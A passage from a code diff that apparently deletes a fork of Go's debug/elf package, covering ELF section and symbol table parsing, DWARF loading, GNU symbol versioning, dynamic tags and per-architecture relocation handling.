off := f.SHTOffset + int64(i)*int64(shentsize)
|
||||
sr.Seek(off, seekStart)
|
||||
s := new(Section)
|
||||
switch f.Class {
|
||||
case ELFCLASS32:
|
||||
sh := new(Section32)
|
||||
if err := binary.Read(sr, f.ByteOrder, sh); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
names[i] = sh.Name
|
||||
s.SectionHeader = SectionHeader{
|
||||
Type: SectionType(sh.Type),
|
||||
Flags: SectionFlag(sh.Flags),
|
||||
Addr: uint64(sh.Addr),
|
||||
Offset: uint64(sh.Off),
|
||||
FileSize: uint64(sh.Size),
|
||||
Link: sh.Link,
|
||||
Info: sh.Info,
|
||||
Addralign: uint64(sh.Addralign),
|
||||
Entsize: uint64(sh.Entsize),
|
||||
Shnum: i,
|
||||
Shname: sh.Name,
|
||||
}
|
||||
|
||||
case ELFCLASS64:
|
||||
sh := new(Section64)
|
||||
if err := binary.Read(sr, f.ByteOrder, sh); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
names[i] = sh.Name
|
||||
s.SectionHeader = SectionHeader{
|
||||
Type: SectionType(sh.Type),
|
||||
Flags: SectionFlag(sh.Flags),
|
||||
Offset: sh.Off,
|
||||
FileSize: sh.Size,
|
||||
Addr: sh.Addr,
|
||||
Link: sh.Link,
|
||||
Info: sh.Info,
|
||||
Addralign: sh.Addralign,
|
||||
Entsize: sh.Entsize,
|
||||
Shnum: i,
|
||||
Shname: sh.Name,
|
||||
}
|
||||
}
|
||||
s.sr = io.NewSectionReader(r, int64(s.Offset), int64(s.FileSize))
|
||||
|
||||
if s.Flags&SHF_COMPRESSED == 0 {
|
||||
s.ReaderAt = s.sr
|
||||
s.Size = s.FileSize
|
||||
} else {
|
||||
// Read the compression header.
|
||||
switch f.Class {
|
||||
case ELFCLASS32:
|
||||
ch := new(Chdr32)
|
||||
if err := binary.Read(s.sr, f.ByteOrder, ch); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
s.compressionType = CompressionType(ch.Type)
|
||||
s.Size = uint64(ch.Size)
|
||||
s.Addralign = uint64(ch.Addralign)
|
||||
s.compressionOffset = int64(binary.Size(ch))
|
||||
case ELFCLASS64:
|
||||
ch := new(Chdr64)
|
||||
if err := binary.Read(s.sr, f.ByteOrder, ch); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
s.compressionType = CompressionType(ch.Type)
|
||||
s.Size = ch.Size
|
||||
s.Addralign = ch.Addralign
|
||||
s.compressionOffset = int64(binary.Size(ch))
|
||||
}
|
||||
}
|
||||
|
||||
f.Sections[i] = s
|
||||
}
|
||||
|
||||
if err := f.parseDynTags(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
if len(f.Sections) == 0 {
|
||||
return f, nil
|
||||
}
|
||||
|
||||
// Load section header string table.
|
||||
shstrtab, err := f.Sections[f.ShStrIndex].Data()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for i, s := range f.Sections {
|
||||
var ok bool
|
||||
s.Name, ok = getString(shstrtab, int(names[i]))
|
||||
if !ok {
|
||||
return nil, &FormatError{f.SHTOffset + int64(i*shentsize), "bad section name index", names[i]}
|
||||
}
|
||||
}
|
||||
|
||||
return f, nil
|
||||
}
|
||||
|
||||
// getSymbols returns a slice of Symbols from parsing the symbol table
|
||||
// with the given type, along with the associated string table.
|
||||
func (f *File) getSymbols(typ SectionType) ([]Symbol, []byte, error) {
|
||||
switch f.Class {
|
||||
case ELFCLASS64:
|
||||
return f.getSymbols64(typ)
|
||||
|
||||
case ELFCLASS32:
|
||||
return f.getSymbols32(typ)
|
||||
}
|
||||
|
||||
return nil, nil, errors.New("not implemented")
|
||||
}
|
||||
|
||||
// ErrNoSymbols is returned by File.Symbols and File.DynamicSymbols
|
||||
// if there is no such section in the File.
|
||||
var ErrNoSymbols = errors.New("no symbol section")
|
||||
|
||||
func (f *File) getSymbols32(typ SectionType) ([]Symbol, []byte, error) {
|
||||
symtabSection := f.SectionByType(typ)
|
||||
if symtabSection == nil {
|
||||
return nil, nil, ErrNoSymbols
|
||||
}
|
||||
|
||||
data, err := symtabSection.Data()
|
||||
if err != nil {
|
||||
return nil, nil, errors.New("cannot load symbol section")
|
||||
}
|
||||
symtab := bytes.NewReader(data)
|
||||
if symtab.Len()%Sym32Size != 0 {
|
||||
return nil, nil, errors.New("length of symbol section is not a multiple of SymSize")
|
||||
}
|
||||
|
||||
strdata, err := f.stringTable(symtabSection.Link)
|
||||
if err != nil {
|
||||
return nil, nil, errors.New("cannot load string table section")
|
||||
}
|
||||
|
||||
// The first entry is all zeros.
|
||||
var skip [Sym32Size]byte
|
||||
symtab.Read(skip[:])
|
||||
|
||||
symbols := make([]Symbol, symtab.Len()/Sym32Size)
|
||||
|
||||
i := 0
|
||||
var sym Sym32
|
||||
for symtab.Len() > 0 {
|
||||
binary.Read(symtab, f.ByteOrder, &sym)
|
||||
str, _ := getString(strdata, int(sym.Name))
|
||||
symbols[i].Name = str
|
||||
symbols[i].Info = sym.Info
|
||||
symbols[i].Other = sym.Other
|
||||
symbols[i].Section = SectionIndex(sym.Shndx)
|
||||
symbols[i].Value = uint64(sym.Value)
|
||||
symbols[i].Size = uint64(sym.Size)
|
||||
i++
|
||||
}
|
||||
|
||||
return symbols, strdata, nil
|
||||
}
|
||||
|
||||
func (f *File) getSymbols64(typ SectionType) ([]Symbol, []byte, error) {
|
||||
symtabSection := f.SectionByType(typ)
|
||||
if symtabSection == nil {
|
||||
return nil, nil, ErrNoSymbols
|
||||
}
|
||||
|
||||
data, err := symtabSection.Data()
|
||||
if err != nil {
|
||||
return nil, nil, errors.New("cannot load symbol section")
|
||||
}
|
||||
symtab := bytes.NewReader(data)
|
||||
if symtab.Len()%Sym64Size != 0 {
|
||||
return nil, nil, errors.New("length of symbol section is not a multiple of Sym64Size")
|
||||
}
|
||||
|
||||
strdata, err := f.stringTable(symtabSection.Link)
|
||||
if err != nil {
|
||||
return nil, nil, errors.New("cannot load string table section")
|
||||
}
|
||||
|
||||
// The first entry is all zeros.
|
||||
var skip [Sym64Size]byte
|
||||
symtab.Read(skip[:])
|
||||
|
||||
symbols := make([]Symbol, symtab.Len()/Sym64Size)
|
||||
|
||||
i := 0
|
||||
var sym Sym64
|
||||
for symtab.Len() > 0 {
|
||||
binary.Read(symtab, f.ByteOrder, &sym)
|
||||
str, _ := getString(strdata, int(sym.Name))
|
||||
symbols[i].Name = str
|
||||
symbols[i].NameIndex = sym.Name
|
||||
symbols[i].Info = sym.Info
|
||||
symbols[i].Other = sym.Other
|
||||
symbols[i].Section = SectionIndex(sym.Shndx)
|
||||
symbols[i].SectIndex = sym.Shndx
|
||||
symbols[i].Value = sym.Value
|
||||
symbols[i].Size = sym.Size
|
||||
i++
|
||||
}
|
||||
|
||||
return symbols, strdata, nil
|
||||
}
|
||||
|
||||
// getString extracts a string from an ELF string table.
|
||||
func getString(section []byte, start int) (string, bool) {
|
||||
if start < 0 || start >= len(section) {
|
||||
return "", false
|
||||
}
|
||||
|
||||
for end := start; end < len(section); end++ {
|
||||
if section[end] == 0 {
|
||||
return string(section[start:end]), true
|
||||
}
|
||||
}
|
||||
return "", false
|
||||
}
|
||||
|
||||
// Section returns a section with the given name, or nil if no such
|
||||
// section exists.
|
||||
func (f *File) Section(name string) *Section {
|
||||
for _, s := range f.Sections {
|
||||
if s.Name == name {
|
||||
return s
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// DWARF - No idea what this does
|
||||
func (f *File) DWARF() (*dwarf.Data, error) {
|
||||
dwarfSuffix := func(s *Section) string {
|
||||
switch {
|
||||
case strings.HasPrefix(s.Name, ".debug_"):
|
||||
return s.Name[7:]
|
||||
case strings.HasPrefix(s.Name, ".zdebug_"):
|
||||
return s.Name[8:]
|
||||
default:
|
||||
return ""
|
||||
}
|
||||
|
||||
}
|
||||
// sectionData gets the data for s, checks its size, and
|
||||
// applies any applicable relations.
|
||||
sectionData := func(i int, s *Section) ([]byte, error) {
|
||||
b, err := s.Data()
|
||||
if err != nil && uint64(len(b)) < s.Size {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
if len(b) >= 12 && string(b[:4]) == "ZLIB" {
|
||||
dlen := binary.BigEndian.Uint64(b[4:12])
|
||||
dbuf := make([]byte, dlen)
|
||||
r, err := zlib.NewReader(bytes.NewBuffer(b[12:]))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if _, err := io.ReadFull(r, dbuf); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if err := r.Close(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
b = dbuf
|
||||
}
|
||||
|
||||
for _, r := range f.Sections {
|
||||
if r.Type != SHT_RELA && r.Type != SHT_REL {
|
||||
continue
|
||||
}
|
||||
if int(r.Info) != i {
|
||||
continue
|
||||
}
|
||||
rd, err := r.Data()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
err = f.applyRelocations(b, rd)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
return b, nil
|
||||
}
|
||||
|
||||
// There are many other DWARF sections, but these
|
||||
// are the ones the debug/dwarf package uses.
|
||||
// Don't bother loading others.
|
||||
var dat = map[string][]byte{"abbrev": nil, "info": nil, "str": nil, "line": nil, "ranges": nil}
|
||||
for i, s := range f.Sections {
|
||||
suffix := dwarfSuffix(s)
|
||||
if suffix == "" {
|
||||
continue
|
||||
}
|
||||
if _, ok := dat[suffix]; !ok {
|
||||
continue
|
||||
}
|
||||
b, err := sectionData(i, s)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
dat[suffix] = b
|
||||
}
|
||||
|
||||
d, err := dwarf.New(dat["abbrev"], nil, nil, dat["info"], dat["line"], nil, dat["ranges"], dat["str"])
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Look for DWARF4 .debug_types sections.
|
||||
for i, s := range f.Sections {
|
||||
suffix := dwarfSuffix(s)
|
||||
if suffix != "types" {
|
||||
continue
|
||||
}
|
||||
|
||||
b, err := sectionData(i, s)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
err = d.AddTypes(fmt.Sprintf("types-%d", i), b)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
return d, nil
|
||||
}
|
||||
|
||||
// Symbols returns the symbol table for f. The symbols will be listed in the order
|
||||
// they appear in f.
|
||||
//
|
||||
// For compatibility with Go 1.0, Symbols omits the null symbol at index 0.
|
||||
// After retrieving the symbols as symtab, an externally supplied index x
|
||||
// corresponds to symtab[x-1], not symtab[x].
|
||||
func (f *File) Symbols() ([]Symbol, error) {
|
||||
sym, _, err := f.getSymbols(SHT_SYMTAB)
|
||||
return sym, err
|
||||
}
|
||||
|
||||
// DynamicSymbols returns the dynamic symbol table for f. The symbols
|
||||
// will be listed in the order they appear in f.
|
||||
//
|
||||
// For compatibility with Symbols, DynamicSymbols omits the null symbol at index 0.
|
||||
// After retrieving the symbols as symtab, an externally supplied index x
|
||||
// corresponds to symtab[x-1], not symtab[x].
|
||||
func (f *File) DynamicSymbols() ([]Symbol, error) {
|
||||
sym, _, err := f.getSymbols(SHT_DYNSYM)
|
||||
return sym, err
|
||||
}
|
||||
|
||||
type ImportedSymbol struct {
|
||||
Name string
|
||||
Version string
|
||||
Library string
|
||||
}
|
||||
|
||||
// ImportedSymbols returns the names of all symbols
|
||||
// referred to by the binary f that are expected to be
|
||||
// satisfied by other libraries at dynamic load time.
|
||||
// It does not return weak symbols.
|
||||
func (f *File) ImportedSymbols() ([]ImportedSymbol, error) {
|
||||
sym, str, err := f.getSymbols(SHT_DYNSYM)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
f.gnuVersionInit(str)
|
||||
var all []ImportedSymbol
|
||||
for i, s := range sym {
|
||||
if ST_BIND(s.Info) == STB_GLOBAL && s.Section == SHN_UNDEF {
|
||||
all = append(all, ImportedSymbol{Name: s.Name})
|
||||
f.gnuVersion(i, &all[len(all)-1])
|
||||
}
|
||||
}
|
||||
return all, nil
|
||||
}
|
||||
|
||||
type verneed struct {
|
||||
File string
|
||||
Name string
|
||||
}
|
||||
|
||||
// gnuVersionInit parses the GNU version tables
|
||||
// for use by calls to gnuVersion.
|
||||
func (f *File) gnuVersionInit(str []byte) {
|
||||
// Accumulate verneed information.
|
||||
vn := f.SectionByType(SHT_GNU_VERNEED)
|
||||
if vn == nil {
|
||||
return
|
||||
}
|
||||
d, _ := vn.Data()
|
||||
|
||||
var need []verneed
|
||||
i := 0
|
||||
for {
|
||||
if i+16 > len(d) {
|
||||
break
|
||||
}
|
||||
vers := f.ByteOrder.Uint16(d[i : i+2])
|
||||
if vers != 1 {
|
||||
break
|
||||
}
|
||||
cnt := f.ByteOrder.Uint16(d[i+2 : i+4])
|
||||
fileoff := f.ByteOrder.Uint32(d[i+4 : i+8])
|
||||
aux := f.ByteOrder.Uint32(d[i+8 : i+12])
|
||||
next := f.ByteOrder.Uint32(d[i+12 : i+16])
|
||||
file, _ := getString(str, int(fileoff))
|
||||
|
||||
var name string
|
||||
j := i + int(aux)
|
||||
for c := 0; c < int(cnt); c++ {
|
||||
if j+16 > len(d) {
|
||||
break
|
||||
}
|
||||
// hash := f.ByteOrder.Uint32(d[j:j+4])
|
||||
// flags := f.ByteOrder.Uint16(d[j+4:j+6])
|
||||
other := f.ByteOrder.Uint16(d[j+6 : j+8])
|
||||
nameoff := f.ByteOrder.Uint32(d[j+8 : j+12])
|
||||
next := f.ByteOrder.Uint32(d[j+12 : j+16])
|
||||
name, _ = getString(str, int(nameoff))
|
||||
ndx := int(other)
|
||||
if ndx >= len(need) {
|
||||
a := make([]verneed, 2*(ndx+1))
|
||||
copy(a, need)
|
||||
need = a
|
||||
}
|
||||
|
||||
need[ndx] = verneed{file, name}
|
||||
if next == 0 {
|
||||
break
|
||||
}
|
||||
j += int(next)
|
||||
}
|
||||
|
||||
if next == 0 {
|
||||
break
|
||||
}
|
||||
i += int(next)
|
||||
}
|
||||
|
||||
// Versym parallels symbol table, indexing into verneed.
|
||||
vs := f.SectionByType(SHT_GNU_VERSYM)
|
||||
if vs == nil {
|
||||
return
|
||||
}
|
||||
d, _ = vs.Data()
|
||||
|
||||
f.gnuNeed = need
|
||||
f.gnuVersym = d
|
||||
}
|
||||
|
||||
// gnuVersion adds Library and Version information to sym,
|
||||
// which came from offset i of the symbol table.
|
||||
func (f *File) gnuVersion(i int, sym *ImportedSymbol) {
|
||||
// Each entry is two bytes.
|
||||
i = (i + 1) * 2
|
||||
if i >= len(f.gnuVersym) {
|
||||
return
|
||||
}
|
||||
j := int(f.ByteOrder.Uint16(f.gnuVersym[i:]))
|
||||
if j < 2 || j >= len(f.gnuNeed) {
|
||||
return
|
||||
}
|
||||
n := &f.gnuNeed[j]
|
||||
sym.Library = n.File
|
||||
sym.Version = n.Name
|
||||
}
|
||||
|
||||
// ImportedLibraries returns the names of all libraries
|
||||
// referred to by the binary f that are expected to be
|
||||
// linked with the binary at dynamic link time.
|
||||
func (f *File) ImportedLibraries() ([]string, error) {
|
||||
return f.DynString(DT_NEEDED)
|
||||
}
|
||||
|
||||
func (f *File) parseDynTags() error {
|
||||
s := f.SectionByType(SHT_DYNAMIC)
|
||||
if s == nil {
|
||||
return nil // nothing to do
|
||||
}
|
||||
|
||||
var m []DynTagValue
|
||||
d, err := s.Data()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
//fmt.Printf("%+v\nd: %x len(%d)\n", s, d, len(d))
|
||||
|
||||
r := bytes.NewBuffer(d)
|
||||
for {
|
||||
var t, v uint64
|
||||
if err := binary.Read(r, f.ByteOrder, &t); err != nil {
|
||||
if err == io.EOF {
|
||||
break
|
||||
} else if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
if err := binary.Read(r, f.ByteOrder, &v); err != nil {
|
||||
if err == io.EOF {
|
||||
break
|
||||
} else if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
m = append(m, DynTagValue{Tag: DynTag(t), Value: v})
|
||||
//fmt.Printf("%x -> %x\n", t, v)
|
||||
}
|
||||
f.DynTags = m
|
||||
return nil
|
||||
}
|
||||
|
||||
// DynString returns the strings listed for the given tag in the file's dynamic
|
||||
// section.
|
||||
//
|
||||
// The tag must be one that takes string values: DT_NEEDED, DT_SONAME, DT_RPATH, or
|
||||
// DT_RUNPATH.
|
||||
func (f *File) DynString(tag DynTag) ([]string, error) {
|
||||
switch tag {
|
||||
case DT_NEEDED, DT_SONAME, DT_RPATH, DT_RUNPATH:
|
||||
default:
|
||||
return nil, fmt.Errorf("non-string-valued tag %v", tag)
|
||||
}
|
||||
|
||||
ds := f.SectionByType(SHT_DYNAMIC)
|
||||
if ds == nil {
|
||||
// not dynamic, so no libraries
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
str, err := f.stringTable(ds.Link)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var all []string
|
||||
for _, taggedValue := range f.DynTags {
|
||||
if taggedValue.Tag == tag {
|
||||
s, ok := getString(str, int(taggedValue.Value))
|
||||
if ok {
|
||||
all = append(all, s)
|
||||
}
|
||||
}
|
||||
}
|
||||
return all, nil
|
||||
}
|
||||
-108
@@ -1,108 +0,0 @@
|
||||
// Copyright 2015 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package elf
|
||||
|
||||
import (
|
||||
"io"
|
||||
"os"
|
||||
)
|
||||
|
||||
// errorReader returns error from all operations.
|
||||
type errorReader struct {
|
||||
error
|
||||
}
|
||||
|
||||
func (r errorReader) Read(p []byte) (n int, err error) {
|
||||
return 0, r.error
|
||||
}
|
||||
|
||||
func (r errorReader) ReadAt(p []byte, off int64) (n int, err error) {
|
||||
return 0, r.error
|
||||
}
|
||||
|
||||
func (r errorReader) Seek(offset int64, whence int) (int64, error) {
|
||||
return 0, r.error
|
||||
}
|
||||
|
||||
func (r errorReader) Close() error {
|
||||
return r.error
|
||||
}
|
||||
|
||||
// readSeekerFromReader converts an io.Reader into an io.ReadSeeker.
|
||||
// In general Seek may not be efficient, but it is optimized for
|
||||
// common cases such as seeking to the end to find the length of the
|
||||
// data.
|
||||
type readSeekerFromReader struct {
|
||||
reset func() (io.Reader, error)
|
||||
r io.Reader
|
||||
size int64
|
||||
offset int64
|
||||
}
|
||||
|
||||
func (r *readSeekerFromReader) start() {
|
||||
x, err := r.reset()
|
||||
if err != nil {
|
||||
r.r = errorReader{err}
|
||||
} else {
|
||||
r.r = x
|
||||
}
|
||||
r.offset = 0
|
||||
}
|
||||
|
||||
func (r *readSeekerFromReader) Read(p []byte) (n int, err error) {
|
||||
if r.r == nil {
|
||||
r.start()
|
||||
}
|
||||
n, err = r.r.Read(p)
|
||||
r.offset += int64(n)
|
||||
return n, err
|
||||
}
|
||||
|
||||
func (r *readSeekerFromReader) Seek(offset int64, whence int) (int64, error) {
|
||||
var newOffset int64
|
||||
switch whence {
|
||||
case seekStart:
|
||||
newOffset = offset
|
||||
case seekCurrent:
|
||||
newOffset = r.offset + offset
|
||||
case seekEnd:
|
||||
newOffset = r.size + offset
|
||||
default:
|
||||
return 0, os.ErrInvalid
|
||||
}
|
||||
|
||||
switch {
|
||||
case newOffset == r.offset:
|
||||
return newOffset, nil
|
||||
|
||||
case newOffset < 0, newOffset > r.size:
|
||||
return 0, os.ErrInvalid
|
||||
|
||||
case newOffset == 0:
|
||||
r.r = nil
|
||||
|
||||
case newOffset == r.size:
|
||||
r.r = errorReader{io.EOF}
|
||||
|
||||
default:
|
||||
if newOffset < r.offset {
|
||||
// Restart at the beginning.
|
||||
r.start()
|
||||
}
|
||||
// Read until we reach offset.
|
||||
var buf [512]byte
|
||||
for r.offset < newOffset {
|
||||
b := buf[:]
|
||||
if newOffset-r.offset < int64(len(buf)) {
|
||||
b = buf[:newOffset-r.offset]
|
||||
}
|
||||
if _, err := r.Read(b); err != nil {
|
||||
return 0, err
|
||||
}
|
||||
}
|
||||
}
|
||||
r.offset = newOffset
|
||||
return r.offset, nil
|
||||
}
|
||||
-529
@@ -1,529 +0,0 @@
|
||||
package elf
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
)
|
||||
|
||||
// applyRelocations applies relocations to dst. rels is a relocations section
|
||||
// in REL or RELA format.
|
||||
func (f *File) applyRelocations(dst []byte, rels []byte) error {
|
||||
switch {
|
||||
case f.Class == ELFCLASS64 && f.Machine == EM_X86_64:
|
||||
return f.applyRelocationsAMD64(dst, rels)
|
||||
case f.Class == ELFCLASS32 && f.Machine == EM_386:
|
||||
return f.applyRelocations386(dst, rels)
|
||||
case f.Class == ELFCLASS32 && f.Machine == EM_ARM:
|
||||
return f.applyRelocationsARM(dst, rels)
|
||||
case f.Class == ELFCLASS64 && f.Machine == EM_AARCH64:
|
||||
return f.applyRelocationsARM64(dst, rels)
|
||||
case f.Class == ELFCLASS32 && f.Machine == EM_PPC:
|
||||
return f.applyRelocationsPPC(dst, rels)
|
||||
case f.Class == ELFCLASS64 && f.Machine == EM_PPC64:
|
||||
return f.applyRelocationsPPC64(dst, rels)
|
||||
case f.Class == ELFCLASS32 && f.Machine == EM_MIPS:
|
||||
return f.applyRelocationsMIPS(dst, rels)
|
||||
case f.Class == ELFCLASS64 && f.Machine == EM_MIPS:
|
||||
return f.applyRelocationsMIPS64(dst, rels)
|
||||
case f.Class == ELFCLASS64 && f.Machine == EM_RISCV:
|
||||
return f.applyRelocationsRISCV64(dst, rels)
|
||||
case f.Class == ELFCLASS64 && f.Machine == EM_S390:
|
||||
return f.applyRelocationss390x(dst, rels)
|
||||
case f.Class == ELFCLASS64 && f.Machine == EM_SPARCV9:
|
||||
return f.applyRelocationsSPARC64(dst, rels)
|
||||
default:
|
||||
return errors.New("applyRelocations: not implemented")
|
||||
}
|
||||
}
|
||||
|
||||
func (f *File) applyRelocationsAMD64(dst []byte, rels []byte) error {
|
||||
// 24 is the size of Rela64.
|
||||
if len(rels)%24 != 0 {
|
||||
return errors.New("length of relocation section is not a multiple of 24")
|
||||
}
|
||||
|
||||
symbols, _, err := f.getSymbols(SHT_SYMTAB)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
b := bytes.NewReader(rels)
|
||||
var rela Rela64
|
||||
|
||||
for b.Len() > 0 {
|
||||
binary.Read(b, f.ByteOrder, &rela)
|
||||
symNo := rela.Info >> 32
|
||||
t := R_X86_64(rela.Info & 0xffff)
|
||||
|
||||
if symNo == 0 || symNo > uint64(len(symbols)) {
|
||||
continue
|
||||
}
|
||||
sym := &symbols[symNo-1]
|
||||
if SymType(sym.Info&0xf) != STT_SECTION {
|
||||
// We don't handle non-section relocations for now.
|
||||
continue
|
||||
}
|
||||
|
||||
// There are relocations, so this must be a normal
|
||||
// object file, and we only look at section symbols,
|
||||
// so we assume that the symbol value is 0.
|
||||
|
||||
switch t {
|
||||
case R_X86_64_64:
|
||||
if rela.Off+8 >= uint64(len(dst)) || rela.Addend < 0 {
|
||||
continue
|
||||
}
|
||||
f.ByteOrder.PutUint64(dst[rela.Off:rela.Off+8], uint64(rela.Addend))
|
||||
case R_X86_64_32:
|
||||
if rela.Off+4 >= uint64(len(dst)) || rela.Addend < 0 {
|
||||
continue
|
||||
}
|
||||
f.ByteOrder.PutUint32(dst[rela.Off:rela.Off+4], uint32(rela.Addend))
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (f *File) applyRelocations386(dst []byte, rels []byte) error {
|
||||
// 8 is the size of Rel32.
|
||||
if len(rels)%8 != 0 {
|
||||
return errors.New("length of relocation section is not a multiple of 8")
|
||||
}
|
||||
|
||||
symbols, _, err := f.getSymbols(SHT_SYMTAB)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
b := bytes.NewReader(rels)
|
||||
var rel Rel32
|
||||
|
||||
for b.Len() > 0 {
|
||||
binary.Read(b, f.ByteOrder, &rel)
|
||||
symNo := rel.Info >> 8
|
||||
t := R_386(rel.Info & 0xff)
|
||||
|
||||
if symNo == 0 || symNo > uint32(len(symbols)) {
|
||||
continue
|
||||
}
|
||||
sym := &symbols[symNo-1]
|
||||
|
||||
if t == R_386_32 {
|
||||
if rel.Off+4 >= uint32(len(dst)) {
|
||||
continue
|
||||
}
|
||||
val := f.ByteOrder.Uint32(dst[rel.Off : rel.Off+4])
|
||||
val += uint32(sym.Value)
|
||||
f.ByteOrder.PutUint32(dst[rel.Off:rel.Off+4], val)
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (f *File) applyRelocationsARM(dst []byte, rels []byte) error {
|
||||
// 8 is the size of Rel32.
|
||||
if len(rels)%8 != 0 {
|
||||
return errors.New("length of relocation section is not a multiple of 8")
|
||||
}
|
||||
|
||||
symbols, _, err := f.getSymbols(SHT_SYMTAB)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
b := bytes.NewReader(rels)
|
||||
var rel Rel32
|
||||
|
||||
for b.Len() > 0 {
|
||||
binary.Read(b, f.ByteOrder, &rel)
|
||||
symNo := rel.Info >> 8
|
||||
t := R_ARM(rel.Info & 0xff)
|
||||
|
||||
if symNo == 0 || symNo > uint32(len(symbols)) {
|
||||
continue
|
||||
}
|
||||
sym := &symbols[symNo-1]
|
||||
|
||||
switch t {
|
||||
case R_ARM_ABS32:
|
||||
if rel.Off+4 >= uint32(len(dst)) {
|
||||
continue
|
||||
}
|
||||
val := f.ByteOrder.Uint32(dst[rel.Off : rel.Off+4])
|
||||
val += uint32(sym.Value)
|
||||
f.ByteOrder.PutUint32(dst[rel.Off:rel.Off+4], val)
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (f *File) applyRelocationsARM64(dst []byte, rels []byte) error {
|
||||
// 24 is the size of Rela64.
|
||||
if len(rels)%24 != 0 {
|
||||
return errors.New("length of relocation section is not a multiple of 24")
|
||||
}
|
||||
|
||||
symbols, _, err := f.getSymbols(SHT_SYMTAB)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
b := bytes.NewReader(rels)
|
||||
var rela Rela64
|
||||
|
||||
for b.Len() > 0 {
|
||||
binary.Read(b, f.ByteOrder, &rela)
|
||||
symNo := rela.Info >> 32
|
||||
t := R_AARCH64(rela.Info & 0xffff)
|
||||
|
||||
if symNo == 0 || symNo > uint64(len(symbols)) {
|
||||
continue
|
||||
}
|
||||
sym := &symbols[symNo-1]
|
||||
if SymType(sym.Info&0xf) != STT_SECTION {
|
||||
// We don't handle non-section relocations for now.
|
||||
continue
|
||||
}
|
||||
|
||||
// There are relocations, so this must be a normal
|
||||
// object file, and we only look at section symbols,
|
||||
// so we assume that the symbol value is 0.
|
||||
|
||||
switch t {
|
||||
case R_AARCH64_ABS64:
|
||||
if rela.Off+8 >= uint64(len(dst)) || rela.Addend < 0 {
|
||||
continue
|
||||
}
|
||||
f.ByteOrder.PutUint64(dst[rela.Off:rela.Off+8], uint64(rela.Addend))
|
||||
case R_AARCH64_ABS32:
|
||||
if rela.Off+4 >= uint64(len(dst)) || rela.Addend < 0 {
|
||||
continue
|
||||
}
|
||||
f.ByteOrder.PutUint32(dst[rela.Off:rela.Off+4], uint32(rela.Addend))
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (f *File) applyRelocationsPPC(dst []byte, rels []byte) error {
|
||||
// 12 is the size of Rela32.
|
||||
if len(rels)%12 != 0 {
|
||||
return errors.New("length of relocation section is not a multiple of 12")
|
||||
}
|
||||
|
||||
symbols, _, err := f.getSymbols(SHT_SYMTAB)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
b := bytes.NewReader(rels)
|
||||
var rela Rela32
|
||||
|
||||
for b.Len() > 0 {
|
||||
binary.Read(b, f.ByteOrder, &rela)
|
||||
symNo := rela.Info >> 8
|
||||
t := R_PPC(rela.Info & 0xff)
|
||||
|
||||
if symNo == 0 || symNo > uint32(len(symbols)) {
|
||||
continue
|
||||
}
|
||||
sym := &symbols[symNo-1]
|
||||
if SymType(sym.Info&0xf) != STT_SECTION {
|
||||
// We don't handle non-section relocations for now.
|
||||
continue
|
||||
}
|
||||
|
||||
switch t {
|
||||
case R_PPC_ADDR32:
|
||||
if rela.Off+4 >= uint32(len(dst)) || rela.Addend < 0 {
|
||||
continue
|
||||
}
|
||||
f.ByteOrder.PutUint32(dst[rela.Off:rela.Off+4], uint32(rela.Addend))
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (f *File) applyRelocationsPPC64(dst []byte, rels []byte) error {
|
||||
// 24 is the size of Rela64.
|
||||
if len(rels)%24 != 0 {
|
||||
return errors.New("length of relocation section is not a multiple of 24")
|
||||
}
|
||||
|
||||
symbols, _, err := f.getSymbols(SHT_SYMTAB)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
b := bytes.NewReader(rels)
|
||||
var rela Rela64
|
||||
|
||||
for b.Len() > 0 {
|
||||
binary.Read(b, f.ByteOrder, &rela)
|
||||
symNo := rela.Info >> 32
|
||||
t := R_PPC64(rela.Info & 0xffff)
|
||||
|
||||
if symNo == 0 || symNo > uint64(len(symbols)) {
|
||||
continue
|
||||
}
|
||||
sym := &symbols[symNo-1]
|
||||
if SymType(sym.Info&0xf) != STT_SECTION {
|
||||
// We don't handle non-section relocations for now.
|
||||
continue
|
||||
}
|
||||
|
||||
switch t {
|
||||
case R_PPC64_ADDR64:
|
||||
